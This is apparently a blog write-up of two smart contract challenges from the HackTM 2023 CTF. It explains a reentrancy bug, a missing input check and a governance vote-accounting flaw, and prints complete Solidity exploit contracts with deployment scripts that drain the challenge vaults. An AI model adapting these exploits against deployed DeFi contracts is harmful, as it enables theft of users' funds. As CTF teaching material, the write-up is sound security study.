Aaron's Blog

Draining Vaults in HackTM CTF Quals 2023

There were two smart contract hacking challenges—Dragon Slayer and Diamond Heist—in this year's HackTM Quals CTF written by 0xkasper. These protocols were EVM-compatible, and their smart contracts were written in Solidity.

As a smart contract auditor with Zellic, I chose to first try out these challenges. We were the first blood on Dragon Slayer.

Quick note: If you'd like help finding critical bugs that may be lingering in your DeFi protocol, reach out to Zellic!

divider

Dragon Slayer

This challenge used the following set of contracts to operate a game, where you (a knight) must beat a dragon:

To get the flag, we must defeat the dragon without dying first, which is made impossible by the dragon's relatively high health, defence, and attack. We're allowed to write an exploit contract and deploy it on a private blockchain.

Our knight starts out with a small gold coin balance. There are items available for purchase that can defeat the dragon in one turn, but they are wayyy out of our budget! So, we have to use exploits to increase our balance.

Steps for solving

1. Creating bank note value out of thin air

The Bank and BankNote contracts seemed unnecessary for this game, so they were the first contracts I dug into.

I know that the ERC-721 standard provides an interface for contracts to do logic upon receiving an NFT transfer or mint via an onERC721Received function. And, none of the contracts had no reentrancy protections. So I presumed the solution would involve exploiting reentrancy somewhere.

Almost immediately, I noticed the bank note split function, which takes an array of values that must add up to the input bank note value:

function split(uint bankNoteIdFrom, uint[] memory amounts) external {
    uint totalValue;
    require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");

    for (uint i = 0; i < amounts.length; i++) {
        uint value = amounts[i];

        _ids.increment();
        uint bankNoteId = _ids.current();

        bankNote.mint(msg.sender, bankNoteId);
        bankNoteValues[bankNoteId] = value;
        totalValue += value;
    }

    require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
    bankNote.burn(bankNoteIdFrom);
    bankNoteValues[bankNoteIdFrom] = 0;
}

Notice that the function first mints NFTs with values before checking that the sum (totalValue) equals the input bank note value! This behavior is exploitable:

  1. Attacker calls the split function passing in [desiredAmount, 0] for amounts, where desiredAmount is the desired value to steal/mint from the bank.

    uint[] amounts;
    // [...]
    amounts.push(needBalance);
    amounts.push(0);
    bank.split(attackerNoteId, amounts);
    
  2. The split function first mints the NFT before assigning value, so the attacker's IERC721Receiver contract first takes no action.

  3. By the second iteraction (i.e. second mint -> IERC721Receiver.onERC721Received call), the first NFT's value has been assigned and is owned by the attacker.

    The attacker now temporarily owns a large amount of gold coin.

    Finally, the attacker simply transfers the value from the first NFT to the input NFT.

  4. Since the second item in the amounts array is 0, the second minted NFT is worthless, and the totalValue now equals the input NFT value.
  5. The input NFT is burned.

The attacker has now created desiredAmount value out of thin air! Note that this attack works like a flash loan.

2. Obtaining an input note

There's one problem: the attacker / our exploit contract starts out the game owning no bank notes or gold coins.

The Knight contract does have gold coin, but doesn't provide methods for our contract to obtain ownership of it so that we can deposit to obtain a note. And, to obtain a note, we have to deposit a non-zero amount of gold:

function deposit(uint amount) external {
    require(amount > 0, "ZERO");

    goldCoin.burn(msg.sender, amount);

    // [....] bank note gets minted
}

So, I looked for all places where the bank mints a note and found this merge function:

function merge(uint[] memory bankNoteIdsFrom) external {
    uint totalValue;

    for (uint i = 0; i < bankNoteIdsFrom.length; i++) {
        // [...] input bank notes get burned, and their values added to totalValue
    }

    _ids.increment();
    uint bankNoteIdTo = _ids.current();
    bankNote.mint(msg.sender, bankNoteIdTo);
    bankNoteValues[bankNoteIdTo] += totalValue;
}

Note that there are no checks on the length of the bankNoteIdsFrom input notes array. So, we can simply pass in an empty array and obtain a worthless bank note. That's all we'll need before creating value out of thin air.

uint[] memory bankNoteIdsFrom;
bank.merge(bankNoteIdsFrom); // empty at this point

3. Fighting the dragon

This is the easy part. We just need to:

  1. Have the knight exchange its gold coin for a bank note (this note is owned by the knight, not us).
  2. Transfer our exploited note value to the knight's note.
  3. Have the knight exchange its note to gold coin. At this point, we've essentially minted gold coin out of thin air to the knight.
  4. Buy the ultimate, previously-unaffordable sword and shield for a high attack/defence.
  5. Trigger a turn or two. If we didn't have the shield, the dragon would be able to kill us immediately, but now we can not only survive but also kill the dragon!

Exploit contract

In my exploit, I followed the above steps in the onERC721Received function for some reason, so I also had to sell the items when done using them and refund the bank—much like a flash loan.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

import "./Knight.sol";
import "./Bank.sol";
import "./Setup.sol";

contract Exploit {

    Knight public knight;
    Bank public bank;
    Setup public setup;
    GoldCoin public goldCoin;

    constructor(address _setup) {
        setup = Setup(_setup);
        setup.claim();

        knight = setup.knight();
        bank = knight.bank();
        goldCoin = knight.goldCoin();
    }

    uint attackerNoteId = 1;
    uint loan1NoteId = 2;
    uint loan2NoteId = 3;
    uint knightNoteId = 4;
    uint knight2NoteId = 5;

    uint needBalance = 1_000_000 ether + 1_000_000 ether;

    uint[] amounts;
    function exploit() public {
        uint[] memory bankNoteIdsFrom;
        bank.merge(bankNoteIdsFrom); // empty at this point

        amounts.push(needBalance);
        amounts.push(0);
        bank.split(attackerNoteId, amounts);
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4) {
        if (tokenId == loan2NoteId) {
            uint origBalance = goldCoin.balanceOf(address(knight));
            knight.bankDeposit(origBalance); // knightNoteId

            bank.transferPartial(loan1NoteId, needBalance, knightNoteId);
            knight.bankWithdraw(knightNoteId);
            knight.buyItem(3);
            knight.buyItem(4);

            knight.fightDragon();
            knight.fightDragon();
            require(setup.isSolved(), "!solved");

            knight.sellItem(3);
            knight.sellItem(4);
            knight.bankDeposit(needBalance); // knight2NoteId
            knight.bankTransferPartial(knight2NoteId, needBalance, attackerNoteId); // pay back loan
        }
        return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
    }
}

Exploit deployment script:

const { ethers } = require("hardhat");

async function main() {
    var address = '<setup contract addr here>';
    const Exploit = await ethers.getContractFactory("Exploit");
    const exploit = await Exploit.deploy(address);
    await exploit.exploit();
};
main().then(() => process.exit(0)).catch(error => {
    console.error(error);
    process.exit(1);
});

Flag: HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}

We blooded it. 😎😎😎

blood for dragon chal

Diamond Heist

This challenge provided us with the following set of important contracts:

The goal was simply to drain the vault.

Steps for solving

1. Finding a way to transfer the diamonds

Because the vault is upgradeable, I assumed we were expected to find a way to upgrade the vault to a malicious contract that transfers all of the diamonds to us.

The following code determines whether an upgade is authorized:

function _authorizeUpgrade(address) internal override view {
    require(msg.sender == owner() || msg.sender == address(this));
    require(IERC20(diamond).balanceOf(address(this)) == 0);
}

So, the following must be true:

That seems like a problem, right? Our goal is to drain the diamonds, and to do that, we need to upgrade the vault, but we can't upgrade the vault if it has any diamonds in it in the first place!

This is where the flashloan function comes in. Nothing in a CTF is random, and neither is this function. It allows us to temporarily drain the contract, as long as we refund it.

my thoughts

2. Minting ourselves free SaltyPretzel

Because the challenge author bothered to include the complicated governance logic of SaltyPretzel, it was obvious to be that the solution involved hacking that contract. And we know that we can't upgrade unless the request comes from SaltyPretzel or Vault.

This particular governance contract is an ERC-20 implementation that uses token balances to determine "delegate shares". If we have a high enough number of shares, the Vault contract will allow us to make an arbitrary function call:

function governanceCall(bytes calldata data) external {
    require(msg.sender == owner() || saltyPretzel.getCurrentVotes(msg.sender) >= AUTHORITY_THRESHOLD);
    (bool success,) = address(this).call(data);
    require(success);
}

The setup contract provides us with a small number of delegate shares at the start.

A red flag popped out to me immediately: on top of the inherited ERC-20 accounting, SaltyPretzel also implements its own delegate share accounting!

The below SaltyPretzel code allows us to "transfer" delegate shares from one address to another:

function _delegate(address delegator, address delegatee)
    internal
{
    address currentDelegate = _delegates[delegator];
    uint256 delegatorBalance = balanceOf(delegator);
    _delegates[delegator] = delegatee;

    emit DelegateChanged(delegator, currentDelegate, delegatee);

    _moveDelegates(currentDelegate, delegatee, delegatorBalance);
}

function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
    if (srcRep != dstRep && amount > 0) {
        if (srcRep != address(0)) {
            uint32 srcRepNum = numCheckpoints[srcRep];
            uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
            uint256 srcRepNew = srcRepOld - amount;
            _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
        }

        if (dstRep != address(0)) {
            uint32 dstRepNum = numCheckpoints[dstRep];
            uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
            uint256 dstRepNew = dstRepOld + amount;
            _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
        }
    }
}

Most of the rest of the complicated-looking SaltyPretzel contract is irrelevant or unimportant to understand.

I've had the pleasure of hacking many smart contracts. A common theme in contracts that have internal accounting is that it's too easy to write bugs in accounting logic. So, I approached this code by thinking: "can we desynchronize these two methods of accounting?"

Note how the _moveDelegates function only withdraws delegate shares if the source is 0, and only deposits if the destination is 0. This acts as a mint/burn function for this custom accounting logic.

The second observation I made is that the _delegate function first synchronizes the custom accounting logic's balance to the ERC-20 balance the first time the function is called. It does this because—when the currentDelegate is 0, it essentially mints the ERC-20 balance to a custom accounting balance.

So, to desynchronize the accounting methods, we use the following steps:

  1. Delegate to the current address.
  2. Transfer the ERC-20 away.

Yep, it's that simple. Now the custom accounting thinks the current address has an ERC-20 balance, but in reality, it's been transferred to the next address. So our exploit just needs to fake a ton of delegates and delegate their shares to our attacker contract.

my thoughts

Note that each delegator needs a unique address. We can accomplish this simply by deploying a new contract for each delegator!

Exploit contract

One complication I encountered was that the transaction would run out of gas quickly since we needed 100 children contracts to obtain enough delegate shares.

To fix this, I just split the deployment of children into multiple transactions (constructor, addChildren, exploit, exploit2).

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./Setup.sol";
import "./VaultFactory.sol";
import "./Vault.sol";
import "./Diamond.sol";
import "./SaltyPretzel.sol";
import "./openzeppelin-contracts/interfaces/IERC20.sol";

contract Exploit {
    Setup public setup;
    SaltyPretzel public saltyPretzel;

    Child[] children;
    NewVault newVault;

    constructor (address _setup) {
        setup = Setup(_setup);
        newVault = new NewVault();
        saltyPretzel = setup.saltyPretzel();
    }

    function addChildren() external {
        for (uint i = 0; i < 50; i++) {
            children.push(new Child(address(saltyPretzel)));
        }
    }

    function exploit() external {
        setup.claim();

        for (uint i = 0; i < 50; i++) {
            children.push(new Child(address(saltyPretzel)));
        }

        for (uint i = 0; i < children.length; i++) {
            saltyPretzel.transfer(address(children[i]), saltyPretzel.balanceOf(address(this)));
            children[i].delegateThenTransferAll(address(this));
        }

        require(saltyPretzel.getCurrentVotes(address(this)) >= 10_000 ether, "balance didn't increase enough");
    }

    function exploit2() external {
        Vault vault = setup.vault();
        Diamond diamond = setup.diamond();
        vault.flashloan(address(diamond), diamond.balanceOf(address(vault)), address(this));
        NewVault(address(vault)).giveDiamonds(address(diamond), address(setup));
        require(setup.isSolved(), "!solved");
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        Vault vault = setup.vault();
        vault.governanceCall(
            abi.encodeWithSignature(
                "upgradeTo(address)",
                address(newVault)
            )
        );

        IERC20(token).transfer(msg.sender, amount);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

contract Child {
    SaltyPretzel public saltyPretzel;

    constructor (address _saltyPretzel) {
        saltyPretzel = SaltyPretzel(_saltyPretzel);
    }

    function delegateThenTransferAll(address to) public {
        saltyPretzel.delegate(to);
        saltyPretzel.transfer(to, saltyPretzel.balanceOf(address(this)));
    }
}

contract NewVault is Initializable, UUPSUpgradeable, OwnableUpgradeable {
    function giveDiamonds(address token, address to) external {
        IERC20(token).transfer(to, IERC20(token).balanceOf(address(this)));
    }

    function _authorizeUpgrade(address) internal override view {revert();}
}

Exploit deployment script:

const { ethers } = require("hardhat");

async function main() {
    var address = '<setup contract address here>';
    const Exploit = await ethers.getContractFactory("Exploit");
    const exploit = await Exploit.deploy(address);
    await exploit.addChildren();
    await exploit.exploit();
    await exploit.exploit2();
};
main().then(() => process.exit(0)).catch(error => {
    console.error(error);
    process.exit(1);
});

Flag: HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc}

We were 5 minutes late to blooding this challenge :( fibonhack is too op. Kinda proud tho ngl lol... By the time we finished both challenges, only one team had solved one of the challenges :)

diamond chal

(just a reminder to ping Zellic if you need to find crits... fast!)

Loading...